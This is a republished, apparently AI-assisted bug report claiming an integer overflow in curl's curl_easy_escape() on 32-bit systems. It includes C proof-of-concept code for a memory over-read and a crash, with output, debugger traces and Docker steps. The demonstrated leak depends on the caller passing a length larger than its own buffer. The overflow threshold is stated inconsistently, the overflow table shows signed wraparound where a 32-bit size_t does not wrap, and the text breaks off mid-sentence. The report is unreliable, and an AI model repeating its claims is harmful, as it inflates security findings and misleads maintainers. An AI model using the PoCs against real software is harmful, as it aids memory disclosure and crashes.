{"id":32843,"date":"2025-12-25T11:54:35","date_gmt":"2025-12-25T11:54:35","guid":{"rendered":"http:\/\/localhost\/?p=32843"},"modified":"2025-12-25T11:54:35","modified_gmt":"2025-12-25T11:54:35","slug":"curl-integer-overflow-in-curleasyescape-may-lead-to-heap-buffer-overflow-and-stack-memory-disclosure","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32843","title":{"rendered":"curl: Integer Overflow in `curl_easy_escape()` may lead to heap buffer overflow and stack memory disclosure on 32-bit platforms_H1:3476928"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-25T17:31:12&#8243;,&#8221;description&#8221;:&#8221;## Disclaimer\\nBoth the confirmation, and reporting of this vulnerability used AI assistance. Nonetheless, I manually reviewed all of the reported results, including its reproduction steps and source code.\\n\\n## Summary\\n\\nThe `curl_easy_escape()` function in `lib\/escape.c` contains an integer overflow vulnerability when calculating the maximum buffer size for URL-encoded output. On 32-bit systems, when the input length exceeds approximately 715 MB, the calculation `length * 3 + 1` overflows. Additionally, the function trusts the caller-provided length parameter without validation, allowing attackers to read arbitrary memory past the input buffer, resulting in **information disclosure** (leaking sensitive stack data) or **denial of service** (crash via segmentation fault).\\n\\n## Affected Versions\\n\\n- **Current master branch** (tested at commit `7e064d0756`) &#8211; **VULNERABLE**\\n- Versions after commit `9bfc7f9234` (August 1, 2024) &#8211; **VULNERABLE**\\n- Versions before `9bfc7f9234` were protected by `CURL_MAX_INPUT_LENGTH` (8 MB limit)\\n\\n### Important Historical Context\\n\\nCommit `9bfc7f923479235b2fdf0e8fdd8468c0786a369b` (August 1, 2024) removed the `CURL_MAX_INPUT_LENGTH` protection:\\n\\n**Before (protected):**\\n&#8220;`c\\nCurl_dyn_init(\\u0026d, CURL_MAX_INPUT_LENGTH * 3);  \/\/ Limited to 8MB * 3 = 24MB output\\n&#8220;`\\n\\n**After (vulnerable):**\\n&#8220;`c\\nCurl_dyn_init(\\u0026d, length * 3 + 1);  \/\/ Uses user-controlled length &#8211; can overflow on 32-bit!\\n&#8220;`\\n\\nThis change was made to \\&#8221;allow users to URL encode larger chunks of data\\&#8221; but inadvertently reintroduced the integer overflow vulnerability on 32-bit systems.\\n\\n**Note:** The curl command-line tool may still be protected by other memory limits (dynbuf limits in file loading, address space constraints), but applications calling `curl_easy_escape()` directly via libcurl are vulnerable.\\n\\n&#8212;\\n\\n## Technical Analysis\\n\\n### Vulnerable Code\\n\\n**File**: [`lib\/escape.c`](https:\/\/github.com\/curl\/curl\/blob\/master\/lib\/escape.c)\\n\\nThe vulnerability exists in the `curl_easy_escape()` function at [lines 51-65](https:\/\/github.com\/curl\/curl\/blob\/master\/lib\/escape.c#L51-L65):\\n\\n&#8220;`c\\nchar *curl_easy_escape(CURL *data, const char *string, int inlength)\\n{\\n  size_t length;\\n  struct dynbuf d;\\n  (void)data;\\n\\n  if(!string || (inlength \\u003c 0))\\n    return NULL;\\n\\n  length = (inlength ? (size_t)inlength : strlen(string));  \/\/ Line 60\\n  if(!length)\\n    return curlx_strdup(\\&#8221;\\&#8221;);\\n\\n  curlx_dyn_init(\\u0026d, length * 3 + 1);  \/\/ Line 64 &#8211; VULNERABLE\\n\\n  while(length&#8211;) {                     \/\/ Line 66 &#8211; Iterates &#8216;length&#8217; times\\n    unsigned char in = (unsigned char)*string++;  \/\/ Reads from string pointer\\n    \/\/ &#8230; URL encoding logic\\n  }\\n}\\n&#8220;`\\n\\n### Root Cause Analysis\\n\\n**Two distinct vulnerabilities exist:**\\n\\n1. **Integer Overflow (Line 64)**: On 32-bit systems where `size_t` is 32 bits:\\n   &#8211; When `length` \\u003e 715,827,882 bytes (~682 MB)\\n   &#8211; The multiplication `length * 3` exceeds `UINT32_MAX` (4,294,967,295)\\n   &#8211; The result wraps around due to integer overflow\\n   &#8211; A much smaller value is passed to `curlx_dyn_init()`\\n\\n2. **Missing Buffer Bounds Validation (Line 66-67)**: The function trusts that the caller-provided `length` matches the actual buffer size. If an attacker passes a `length` larger than the actual input buffer, the `while(length&#8211;)` loop reads past the buffer into adjacent memory.\\n\\n### Overflow Boundary Analysis\\n\\n| Input Length | Expected Size (length \u00d7 3 + 1) | Actual 32-bit Result |\\n|&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-|\\n| 715,827,881 | 2,147,483,644 | 2,147,483,644 \u2713 |\\n| 715,827,882 | 2,147,483,647 | 2,147,483,647 \u2713 |\\n| **715,827,883** | 2,147,483,650 | **-2,147,483,646** \u26a0\ufe0f |\\n| 1,073,741,823 | 3,221,225,470 | -1,073,741,826 \u26a0\ufe0f |\\n| 2,147,483,647 (INT_MAX) | 6,442,450,942 | 2,147,483,646 \u26a0\ufe0f |\\n\\n&#8212;\\n\\n## Demonstrated Attacks\\n\\n### Attack 1: Stack Memory Disclosure (Information Leak)\\n\\nBy passing a `length` parameter larger than the actual input buffer, an attacker can force `curl_easy_escape()` to read and URL-encode arbitrary stack memory, including sensitive data like passwords, API keys, and session tokens.\\n\\n**Proof of Concept Source Code**\\n\\n&#8220;`c\\n\/*\\n * curl_easy_escape() Integer Overflow PoC &#8211; 32-bit\\n * Demonstrates STACK DATA LEAKAGE via integer overflow.\\n *\/\\n\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstdlib.h\\u003e\\n#include \\u003cstring.h\\u003e\\n#include \\u003cstdint.h\\u003e\\n#include \\u003climits.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n\\nvoid hexdump(const char *desc, const void *data, size_t len) {\\n    const unsigned char *p = (const unsigned char *)data;\\n    size_t i, j;\\n    \\n    printf(\\&#8221;%s (%zu bytes):\\\\n\\&#8221;, desc, len);\\n    for (i = 0; i \\u003c len; i += 16) {\\n        printf(\\&#8221;  %04zx: \\&#8221;, i);\\n        for (j = 0; j \\u003c 16 \\u0026\\u0026 i + j \\u003c len; j++)\\n            printf(\\&#8221;%02x \\&#8221;, p[i + j]);\\n        for (; j \\u003c 16; j++)\\n            printf(\\&#8221;   \\&#8221;);\\n        printf(\\&#8221; |\\&#8221;);\\n        for (j = 0; j \\u003c 16 \\u0026\\u0026 i + j \\u003c len; j++)\\n            printf(\\&#8221;%c\\&#8221;, (p[i + j] \\u003e= 32 \\u0026\\u0026 p[i + j] \\u003c 127) ? p[i + j] : &#8216;.&#8217;);\\n        printf(\\&#8221;|\\\\n\\&#8221;);\\n    }\\n}\\n\\nint main(void) {\\n    printf(\\&#8221;curl_easy_escape() Integer Overflow &#8211; STACK LEAK PoC\\\\n\\&#8221;);\\n    printf(\\&#8221;=====================================================\\\\n\\\\n\\&#8221;);\\n    \\n    printf(\\&#8221;Platform: %u-bit (sizeof(size_t) = %u)\\\\n\\&#8221;, \\n           (unsigned)(sizeof(void*) * 8), (unsigned)sizeof(size_t));\\n    printf(\\&#8221;UINT_MAX = %u (0x%x)\\\\n\\\\n\\&#8221;, UINT_MAX, UINT_MAX);\\n\\n    \/* Put some secrets on the stack BEFORE our input buffer *\/\\n    volatile char secret1[] = \\&#8221;SECRET_PASSWORD=hunter2\\&#8221;;\\n    volatile char secret2[] = \\&#8221;API_KEY=sk-1234567890abcdef\\&#8221;;\\n    volatile char cookie[] = \\&#8221;session=SENSITIVE_COOKIE_VALUE\\&#8221;;\\n    \\n    \/* Small input buffer *\/\\n    char input[16];\\n    memset(input, &#8216;X&#8217;, sizeof(input));\\n    input[15] = &#8216;\\\\0&#8217;;\\n    \\n    printf(\\&#8221;Stack secrets placed before input buffer:\\\\n\\&#8221;);\\n    printf(\\&#8221;  secret1: \\\\\\&#8221;%s\\\\\\&#8221;\\\\n\\&#8221;, (char*)secret1);\\n    printf(\\&#8221;  secret2: \\\\\\&#8221;%s\\\\\\&#8221;\\\\n\\&#8221;, (char*)secret2);  \\n    printf(\\&#8221;  cookie:  \\\\\\&#8221;%s\\\\\\&#8221;\\\\n\\&#8221;, (char*)cookie);\\n    printf(\\&#8221;  input:   \\\\\\&#8221;%s\\\\\\&#8221; (16 bytes at %p)\\\\n\\\\n\\&#8221;, input, (void*)input);\\n    \\n    printf(\\&#8221;Calling curl_easy_escape with length=200 on 16-byte buffer&#8230;\\\\n\\&#8221;);\\n    printf(\\&#8221;This reads 184 bytes past our buffer into the stack!\\\\n\\\\n\\&#8221;);\\n    \\n    char *result = curl_easy_escape(NULL, input, 200);\\n    \\n    if (result) {\\n        size_t len = strlen(result);\\n        printf(\\&#8221;Got result: %zu bytes\\\\n\\&#8221;, len);\\n        hexdump(\\&#8221;Leaked data (URL-encoded)\\&#8221;, result, len \\u003e 300 ? 300 : len);\\n        \\n        printf(\\&#8221;\\\\n=== Checking for leaked secrets ===\\\\n\\&#8221;);\\n        if (strstr(result, \\&#8221;SECRET\\&#8221;) || strstr(result, \\&#8221;hunter\\&#8221;)) {\\n            printf(\\&#8221;[!] LEAKED: secret1 data found!\\\\n\\&#8221;);\\n        }\\n        if (strstr(result, \\&#8221;API\\&#8221;) || strstr(result, \\&#8221;1234567890\\&#8221;)) {\\n            printf(\\&#8221;[!] LEAKED: secret2 data found!\\\\n\\&#8221;);\\n        }\\n        if (strstr(result, \\&#8221;session\\&#8221;) || strstr(result, \\&#8221;SENSITIVE\\&#8221;)) {\\n            printf(\\&#8221;[!] LEAKED: cookie data found!\\\\n\\&#8221;);\\n        }\\n        \\n        curl_free(result);\\n    } else {\\n        printf(\\&#8221;Result: NULL\\\\n\\&#8221;);\\n    }\\n    \\n    return 0;\\n}\\n&#8220;`\\n\\n**Proof of Concept Output:**\\n&#8220;`\\ncurl_easy_escape() Integer Overflow &#8211; STACK LEAK PoC\\n=====================================================\\n\\nPlatform: 32-bit (sizeof(size_t) = 4)\\nUINT_MAX = 4294967295 (0xffffffff)\\n\\nStack secrets placed before input buffer:\\n  secret1: \\&#8221;SECRET_PASSWORD=hunter2\\&#8221;\\n  secret2: \\&#8221;API_KEY=sk-1234567890abcdef\\&#8221;\\n  cookie:  \\&#8221;session=SENSITIVE_COOKIE_VALUE\\&#8221;\\n  input:   \\&#8221;XXXXXXXXXXXXXXX\\&#8221; (16 bytes at 0xffe91f05)\\n\\nCalling curl_easy_escape with length=200 on 16-byte buffer&#8230;\\nThis reads 184 bytes past our buffer into the stack!\\n\\nGot result: 410 bytes\\nLeaked data (URL-encoded) (300 bytes):\\n  0000: 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 25  |XXXXXXXXXXXXXXX%|\\n  0010: 30 30 73 65 73 73 69 6f 6e 25 33 44 53 45 4e 53  |00session%3DSENS|\\n  0020: 49 54 49 56 45 5f 43 4f 4f 4b 49 45 5f 56 41 4c  |ITIVE_COOKIE_VAL|\\n  0030: 55 45 25 30 30 41 50 49 5f 4b 45 59 25 33 44 73  |UE%00API_KEY%3Ds|\\n  0040: 6b 2d 31 32 33 34 35 36 37 38 39 30 61 62 63 64  |k-1234567890abcd|\\n  0050: 65 66 25 30 30 53 45 43 52 45 54 5f 50 41 53 53  |ef%00SECRET_PASS|\\n  0060: 57 4f 52 44 25 33 44 68 75 6e 74 65 72 32 25 30  |WORD%3Dhunter2%0|\\n\\n=== Checking for leaked secrets ===\\n[!] LEAKED: secret1 data found!\\n[!] LEAKED: secret2 data found!\\n[!] LEAKED: cookie data found!\\n&#8220;`\\n\\n**Leaked secrets visible in output:**\\n- `session=SENSITIVE_COOKIE_VALUE`\\n- `API_KEY=sk-1234567890abcdef`\\n- `SECRET_PASSWORD=hunter2`\\n\\n### Attack 2: Denial of Service (Crash)\\n\\nUsing `INT_MAX` as the length parameter causes the function to iterate billions of times, reading through the entire process memory until it hits an unmapped region and crashes.\\n\\n**Denial of Service PoC Source Code:**\\n\\n&#8220;`c\\n\/*\\n * curl_easy_escape() Integer Overflow &#8211; Denial of Service PoC\\n * Demonstrates crash via segmentation fault on 32-bit systems.\\n *\/\\n\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstdlib.h\\u003e\\n#include \\u003cstring.h\\u003e\\n#include \\u003climits.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n\\nint main(void) {\\n    printf(\\&#8221;curl_easy_escape() Denial of Service PoC\\\\n\\&#8221;);\\n    printf(\\&#8221;=========================================\\\\n\\\\n\\&#8221;);\\n    \\n    printf(\\&#8221;Platform: %u-bit (sizeof(size_t) = %u)\\\\n\\&#8221;, \\n           (unsigned)(sizeof(void*) * 8), (unsigned)sizeof(size_t));\\n    printf(\\&#8221;INT_MAX = %d (0x%x)\\\\n\\\\n\\&#8221;, INT_MAX, INT_MAX);\\n    \\n    \/* Small input buffer *\/\\n    char input[16] = \\&#8221;XXXXXXXXXXXXXXX\\&#8221;;\\n    \\n    printf(\\&#8221;Input buffer: \\\\\\&#8221;%s\\\\\\&#8221; (16 bytes at %p)\\\\n\\\\n\\&#8221;, input, (void*)input);\\n    \\n    printf(\\&#8221;Calling curl_easy_escape(NULL, input, INT_MAX)&#8230;\\\\n\\&#8221;);\\n    printf(\\&#8221;  Requested length: %d bytes\\\\n\\&#8221;, INT_MAX);\\n    printf(\\&#8221;  length * 3 + 1 = %lld (overflows on 32-bit!)\\\\n\\&#8221;, \\n           (long long)INT_MAX * 3 + 1);\\n    printf(\\&#8221;  32-bit result  = %u\\\\n\\\\n\\&#8221;, (unsigned)((size_t)INT_MAX * 3 + 1));\\n    \\n    printf(\\&#8221;The function will iterate INT_MAX times, reading past our buffer\\\\n\\&#8221;);\\n    printf(\\&#8221;through the entire stack until it hits unmapped memory&#8230;\\\\n\\\\n\\&#8221;);\\n    fflush(stdout);\\n    \\n    \/* This will crash on 32-bit systems *\/\\n    char *result = curl_easy_escape(NULL, input, INT_MAX);\\n    \\n    if (result) {\\n        printf(\\&#8221;Result: %p (unexpected &#8211; should have crashed!)\\\\n\\&#8221;, (void*)result);\\n        curl_free(result);\\n    } else {\\n        printf(\\&#8221;Result: NULL\\\\n\\&#8221;);\\n    }\\n    \\n    printf(\\&#8221;If you see this message, the crash did not occur.\\\\n\\&#8221;);\\n    \\n    return 0;\\n}\\n&#8220;`\\n\\n**PoC Output:**\\n&#8220;`\\ncurl_easy_escape() Denial of Service PoC\\n=========================================\\n\\nPlatform: 32-bit (sizeof(size_t) = 4)\\nINT_MAX = 2147483647 (0x7fffffff)\\n\\nInput buffer: \\&#8221;XXXXXXXXXXXXXXX\\&#8221; (16 bytes at 0xfff6bb4c)\\n\\nCalling curl_easy_escape(NULL, input, INT_MAX)&#8230;\\n  Requested length: 2147483647 bytes\\n  length * 3 + 1 = 6442450942 (overflows on 32-bit!)\\n  32-bit result  = 2147483646\\n\\nThe function will iterate INT_MAX times, reading past our buffer\\nthrough the entire stack until it hits unmapped memory&#8230;\\n\\nSegmentation fault (core dumped)\\n&#8220;`\\n\\n**GDB Analysis of Crash:**\\n&#8220;`\\nProgram received signal SIGSEGV, Segmentation fault.\\n0xf6c48560 in curl_easy_escape () from \/usr\/lib\/i386-linux-gnu\/libcurl.so.4\\n\\n#0  0xf6c48560 in curl_easy_escape () from \/usr\/lib\/i386-linux-gnu\/libcurl.so.4\\n#1  0x56b9b506 in main () at dos_poc.c:36\\n\\nRegisters at crash:\\n  esi = 0xfff6d000  (end of stack &#8211; unmapped memory)\\n  eip = 0xf6c48560  \\u003ccurl_easy_escape+144\\u003e\\n&#8220;`\\n\\nThe crash occurs when the string pointer (`esi`) advances past the end of the stack at `0xfff6d000` into unmapped memory.\\n\\n### Attack 3: Analysis of `length=0` (strlen) Path\\n\\nWhen `inlength=0` is passed to `curl_easy_escape()`, the function uses `strlen(string)` to determine the length. This section documents testing to determine if the integer overflow can be exploited via this code path.\\n\\n**Key code path:**\\n&#8220;`c\\nlength = (inlength ? (size_t)inlength : strlen(string));  \/\/ Line 60\\n\/\/ If inlength=0, strlen(string) is used\\ncurlx_dyn_init(\\u0026d, length * 3 + 1);  \/\/ Line 64 &#8211; overflow calculation\\n&#8220;`\\n\\n#### Scenario 3a: Large String Causing Overflow (Safe &#8211; dynbuf catches)\\n\\n**Test:** Pass a string \\u003e 1.43 GB with `length=0` to trigger overflow via strlen.\\n\\n**PoC Source Code:**\\n&#8220;`c\\n\/*\\n * curl_easy_escape() Overflow via strlen() path\\n * Tests if overflow can be exploited when length=0\\n *\/\\n\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstdlib.h\\u003e\\n#include \\u003cstring.h\\u003e\\n#include \\u003cstdint.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n\\nint main(void) {\\n    printf(\\&#8221;curl_easy_escape() strlen() Path Test\\\\n\\&#8221;);\\n    printf(\\&#8221;======================================\\\\n\\\\n\\&#8221;);\\n    \\n    printf(\\&#8221;Platform: %u-bit\\\\n\\&#8221;, (unsigned)(sizeof(void*) * 8));\\n    \\n    \/* Overflow threshold: (UINT32_MAX &#8211; 1) \/ 3 = 1,431,655,764 *\/\\n    \/* First overflowing value: 1,431,655,765 *\/\\n    size_t overflow_len = 1431655765;\\n    \\n    printf(\\&#8221;Allocating %zu bytes (%.2f GB)&#8230;\\\\n\\&#8221;, \\n           overflow_len, overflow_len \/ (1024.0 * 1024.0 * 1024.0));\\n    \\n    char *huge = malloc(overflow_len + 1);\\n    if (!huge) {\\n        printf(\\&#8221;malloc failed &#8211; not enough memory\\\\n\\&#8221;);\\n        return 1;\\n    }\\n    \\n    memset(huge, &#8216;A&#8217;, overflow_len);\\n    huge[overflow_len] = &#8216;\\\\0&#8217;;\\n    \\n    printf(\\&#8221;strlen() = %zu\\\\n\\&#8221;, strlen(huge));\\n    printf(\\&#8221;Overflow: %zu * 3 + 1 = %u (32-bit)\\\\n\\\\n\\&#8221;, \\n           overflow_len, (unsigned)(overflow_len * 3 + 1));\\n    \\n    printf(\\&#8221;Calling curl_easy_escape(NULL, huge, 0)&#8230;\\\\n\\&#8221;);\\n    fflush(stdout);\\n    \\n    char *result = curl_easy_escape(NULL, huge, 0);\\n    \\n    printf(\\&#8221;Result: %s\\\\n\\&#8221;, result ? \\&#8221;non-NULL\\&#8221; : \\&#8221;NULL\\&#8221;);\\n    if (result) curl_free(result);\\n    free(huge);\\n    \\n    return 0;\\n}\\n&#8220;`\\n\\n**PoC Output:**\\n&#8220;`\\ncurl_easy_escape() strlen() Path Test\\n======================================\\n\\nPlatform: 32-bit\\nAllocating 1431655765 bytes (1.33 GB)&#8230;\\nstrlen() = 1431655765\\nOverflow: 1431655765 * 3 + 1 = 0 (32-bit)\\n\\nCalling curl_easy_escape(NULL, huge, 0)&#8230;\\nResult: NULL\\n&#8220;`\\n\\n**Analysis:** The overflow DOES occur (wraps to 0), but dynbuf&#8217;s safety checks catch it:\\n1. `curlx_dyn_init()` sets `toobig = 0`\\n2. First `curlx_dyn_addn()` call: `fit \\u003e toobig` (1 \\u003e 0) returns `CURLE_TOO_LARGE`\\n3. Function returns NULL safely\\n\\n#### Scenario 3b: Overflow to Small Positive Value (Safe &#8211; dynbuf catches)\\n\\n**Test:** Use a string length that overflows to ~1MB instead of 0.\\n\\n**Calculation:** For overflow to 1,000,000: length = (2^32 + 999,999) \/ 3 = 1,431,989,098\\n\\n**PoC Output:**\\n&#8220;`\\ncurl_easy_escape() strlen() Path Test v2\\n=========================================\\n\\nPlatform: 32-bit\\nAllocating 1431989098 bytes (1.33 GB)&#8230;\\nstrlen() = 1431989098\\nOverflow: 1431989098 * 3 + 1 = 999999 (32-bit)\\n\\ndynbuf toobig = 999999, but loop runs 1,431,989,098 times\\nCalling curl_easy_escape(NULL, huge, 0)&#8230;\\nResult: NULL\\n&#8220;`\\n\\n**Analysis:** Even when overflow produces a larger toobig value, dynbuf catches the overflow during writes when `fit \\u003e toobig`.\\n\\n#### Scenario 3c: Missing Null Terminator (Crash &#8211; but not overflow exploitation)\\n\\n**Test:** String without null terminator at page boundary causes strlen() to read into unmapped memory.\\n\\n**PoC Source Code:**\\n&#8220;`c\\n\/*\\n * curl_easy_escape() crash via strlen() &#8211; Page Boundary PoC\\n *\/\\n\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstdlib.h\\u003e\\n#include \\u003cstring.h\\u003e\\n#include \\u003csys\/mman.h\\u003e\\n#include \\u003cunistd.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n\\nint main(void) {\\n    printf(\\&#8221;curl_easy_escape() strlen() Page Boundary Crash\\\\n\\&#8221;);\\n    printf(\\&#8221;================================================\\\\n\\\\n\\&#8221;);\\n    \\n    long page_size = sysconf(_SC_PAGESIZE);\\n    \\n    \/* Map 2 pages, unmap second to create guard *\/\\n    void *mem = mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE,\\n                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\\n    munmap((char*)mem + page_size, page_size);\\n    \\n    \/* Fill first page, NO null terminator *\/\\n    memset(mem, &#8216;A&#8217;, page_size);\\n    \\n    \/* String at end of page &#8211; strlen will cross into unmapped region *\/\\n    char *danger = (char*)mem + page_size &#8211; 100;\\n    memset(danger, &#8216;X&#8217;, 100);  \/* No &#8216;\\\\0&#8217; *\/\\n    \\n    printf(\\&#8221;Calling curl_easy_escape() &#8211; strlen() will SEGFAULT\\\\n\\&#8221;);\\n    fflush(stdout);\\n    \\n    char *result = curl_easy_escape(NULL, danger, 0);\\n    \\n    printf(\\&#8221;Result: %p (unexpected)\\\\n\\&#8221;, (void*)result);\\n    return 0;\\n}\\n&#8220;`\\n\\n**PoC Output:**\\n&#8220;`\\ncurl_easy_escape() strlen() Page Boundary Crash\\n================================================\\n\\nCalling curl_easy_escape() &#8211; strlen() will SEGFAULT\\n\\nProgram received signal SIGSEGV, Segmentation fault.\\n__strlen_sse2_bsf () at ..\/sysdeps\/i386\/i686\/multiarch\/strlen-sse2-bsf.S:86\\n#0  __strlen_sse2_bsf ()\\n#1  0xeb27d5c9 in curl_easy_escape () from \/usr\/lib\/i386-linux-gnu\/libcurl.so.4\\n#2  0x5b9fd4d9 in main () at attack3c_test.c:33\\n&#8220;`\\n\\n**Analysis:** This causes a crash, but it&#8217;s NOT exploiting the integer overflow &#8211; it&#8217;s exploiting a missing null terminator causing strlen() to read into unmapped memory. This is a contrived scenario.\\n\\n#### Conclusion: strlen() Path Analysis\\n\\n| Scenario | Overflow Triggered? | Exploitable? | Result |\\n|&#8212;&#8212;&#8212;-|&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;|&#8212;&#8212;&#8212;&#8212;&#8211;|&#8212;&#8212;&#8211;|\\n| Large string (\\u003e1.43GB), length=0 | \u2705 Yes | \u274c No | NULL (dynbuf catches) |\\n| Overflow to small value | \u2705 Yes | \u274c No | NULL (dynbuf catches) |\\n| Missing null terminator | N\/A | \u26a0\ufe0f Contrived | SEGFAULT in strlen() |\\n\\n**Key Finding:** The integer overflow vulnerability **cannot be exploited** via the `length=0` (strlen) path because:\\n\\n1. **No buffer size mismatch:** When using strlen(), the length accurately reflects the actual string size &#8211; there&#8217;s no over-read of adjacent memory.\\n\\n2. **dynbuf safety catches overflow:** Even when the arithmetic overflow occurs, dynbuf&#8217;s `toobig` check prevents writing more data than the overflowed size allows, causing the function to return NULL safely.\\n\\n3. **Exploitation requires explicit length control:** The vulnerability is only exploitable when an attacker can pass a `length` parameter that is **larger than the actual buffer size**, creating the mismatch that enables out-of-bounds reads.\\n\\n&#8212;\\n\\n## Steps to Reproduce\\n\\n### Prerequisites\\n\\n- Docker installed in a x86_64 system\\n\\n### Step 1: Create the Test File\\n\\nCreate `vuln_app_32.c`:\\n\\n&#8220;`c\\n\/*\\n * curl_easy_escape() Integer Overflow PoC &#8211; 32-bit\\n * Demonstrates STACK DATA LEAKAGE via integer overflow.\\n *\/\\n\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstdlib.h\\u003e\\n#include \\u003cstring.h\\u003e\\n#include \\u003cstdint.h\\u003e\\n#include \\u003climits.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n\\nvoid hexdump(const char *desc, const void *data, size_t len) {\\n    const unsigned char *p = (const unsigned char *)data;\\n    size_t i, j;\\n    \\n    printf(\\&#8221;%s (%zu bytes):\\\\n\\&#8221;, desc, len);\\n    for (i = 0; i \\u003c len; i += 16) {\\n        printf(\\&#8221;  %04zx: \\&#8221;, i);\\n        for (j = 0; j \\u003c 16 \\u0026\\u0026 i + j \\u003c len; j++)\\n            printf(\\&#8221;%02x \\&#8221;, p[i + j]);\\n        for (; j \\u003c 16; j++)\\n            printf(\\&#8221;   \\&#8221;);\\n        printf(\\&#8221; |\\&#8221;);\\n        for (j = 0; j \\u003c 16 \\u0026\\u0026 i + j \\u003c len; j++)\\n            printf(\\&#8221;%c\\&#8221;, (p[i + j] \\u003e= 32 \\u0026\\u0026 p[i + j] \\u003c 127) ? p[i + j] : &#8216;.&#8217;);\\n        printf(\\&#8221;|\\\\n\\&#8221;);\\n    }\\n}\\n\\nint main(void) {\\n    printf(\\&#8221;curl_easy_escape() Integer Overflow &#8211; STACK LEAK PoC\\\\n\\&#8221;);\\n    printf(\\&#8221;=====================================================\\\\n\\\\n\\&#8221;);\\n    \\n    printf(\\&#8221;Platform: %u-bit (sizeof(size_t) = %u)\\\\n\\&#8221;, \\n           (unsigned)(sizeof(void*) * 8), (unsigned)sizeof(size_t));\\n    printf(\\&#8221;UINT_MAX = %u (0x%x)\\\\n\\\\n\\&#8221;, UINT_MAX, UINT_MAX);\\n\\n    \/* Put some secrets on the stack BEFORE our input buffer *\/\\n    volatile char secret1[] = \\&#8221;SECRET_PASSWORD=hunter2\\&#8221;;\\n    volatile char secret2[] = \\&#8221;API_KEY=sk-1234567890abcdef\\&#8221;;\\n    volatile char cookie[] = \\&#8221;session=SENSITIVE_COOKIE_VALUE\\&#8221;;\\n    \\n    \/* Small input buffer *\/\\n    char input[16];\\n    memset(input, &#8216;X&#8217;, sizeof(input));\\n    input[15] = &#8216;\\\\0&#8217;;\\n    \\n    printf(\\&#8221;Stack secrets placed before input buffer:\\\\n\\&#8221;);\\n    printf(\\&#8221;  secret1: \\\\\\&#8221;%s\\\\\\&#8221;\\\\n\\&#8221;, (char*)secret1);\\n    printf(\\&#8221;  secret2: \\\\\\&#8221;%s\\\\\\&#8221;\\\\n\\&#8221;, (char*)secret2);  \\n    printf(\\&#8221;  cookie:  \\\\\\&#8221;%s\\\\\\&#8221;\\\\n\\&#8221;, (char*)cookie);\\n    printf(\\&#8221;  input:   \\\\\\&#8221;%s\\\\\\&#8221; (16 bytes at %p)\\\\n\\\\n\\&#8221;, input, (void*)input);\\n    \\n    printf(\\&#8221;Calling curl_easy_escape with length=200 on 16-byte buffer&#8230;\\\\n\\&#8221;);\\n    printf(\\&#8221;This reads 184 bytes past our buffer into the stack!\\\\n\\\\n\\&#8221;);\\n    \\n    char *result = curl_easy_escape(NULL, input, 200);\\n    \\n    if (result) {\\n        size_t len = strlen(result);\\n        printf(\\&#8221;Got result: %zu bytes\\\\n\\&#8221;, len);\\n        hexdump(\\&#8221;Leaked data (URL-encoded)\\&#8221;, result, len \\u003e 300 ? 300 : len);\\n        \\n        printf(\\&#8221;\\\\n=== Checking for leaked secrets ===\\\\n\\&#8221;);\\n        if (strstr(result, \\&#8221;SECRET\\&#8221;) || strstr(result, \\&#8221;hunter\\&#8221;)) {\\n            printf(\\&#8221;[!] LEAKED: secret1 data found!\\\\n\\&#8221;);\\n        }\\n        if (strstr(result, \\&#8221;API\\&#8221;) || strstr(result, \\&#8221;1234567890\\&#8221;)) {\\n            printf(\\&#8221;[!] LEAKED: secret2 data found!\\\\n\\&#8221;);\\n        }\\n        if (strstr(result, \\&#8221;session\\&#8221;) || strstr(result, \\&#8221;SENSITIVE\\&#8221;)) {\\n            printf(\\&#8221;[!] LEAKED: cookie data found!\\\\n\\&#8221;);\\n        }\\n        \\n        curl_free(result);\\n    } else {\\n        printf(\\&#8221;Result: NULL\\\\n\\&#8221;);\\n    }\\n    \\n    return 0;\\n}\\n&#8220;`\\n\\n### Step 2: Create Docker Environment\\n\\nCreate `Dockerfile`:\\n\\n&#8220;`dockerfile\\nFROM i386\/debian:stable\\n\\nRUN apt-get update \\u0026\\u0026 \\\\\\n    apt-get install -y \\\\\\n    build-essential \\\\\\n    libcurl4-openssl-dev \\\\\\n    pkg-config \\\\\\n    gdb \\\\\\n    file \\\\\\n    \\u0026\\u0026 rm -rf \/var\/lib\/apt\/lists\/*\\n\\nWORKDIR \/test\\nCOPY vuln_app_32.c .\\n\\n# Compile with debug symbols\\nRUN gcc -g -O0 -o vuln_app vuln_app_32.c $(pkg-config &#8211;cflags &#8211;libs libcurl) -Wall \\u0026\\u0026 \\\\\\n    echo \\&#8221;=== Binary info ===\\&#8221; \\u0026\\u0026 \\\\\\n    file vuln_app\\n\\nCMD [\\&#8221;.\/vuln_app\\&#8221;]\\n&#8220;`\\n\\n### Step 3: Build and Run\\n\\n&#8220;`bash\\n# Build the Docker image\\ndocker build -t curl-leak .\\n\\n# Run the test (shows stack leak, then crashes)\\ndocker run &#8211;rm curl-leak\\n\\n# For GDB debugging of the crash:\\ndocker run &#8211;rm curl-leak gdb -batch -ex &#8216;run&#8217; -ex &#8216;bt&#8217; -ex &#8216;info registers&#8217; .\/vuln_app\\n&#8220;`\\n\\n### Expected Output\\n\\n&#8220;`\\ncurl_easy_escape() Integer Overflow &#8211; STACK LEAK PoC\\n=====================================================\\n\\nPlatform: 32-bit (sizeof(size_t) = 4)\\nUINT_MAX = 4294967295 (0xffffffff)\\n\\nStack secrets placed before input buffer:\\n  secret1: \\&#8221;SECRET_PASSWORD=hunter2\\&#8221;\\n  secret2: 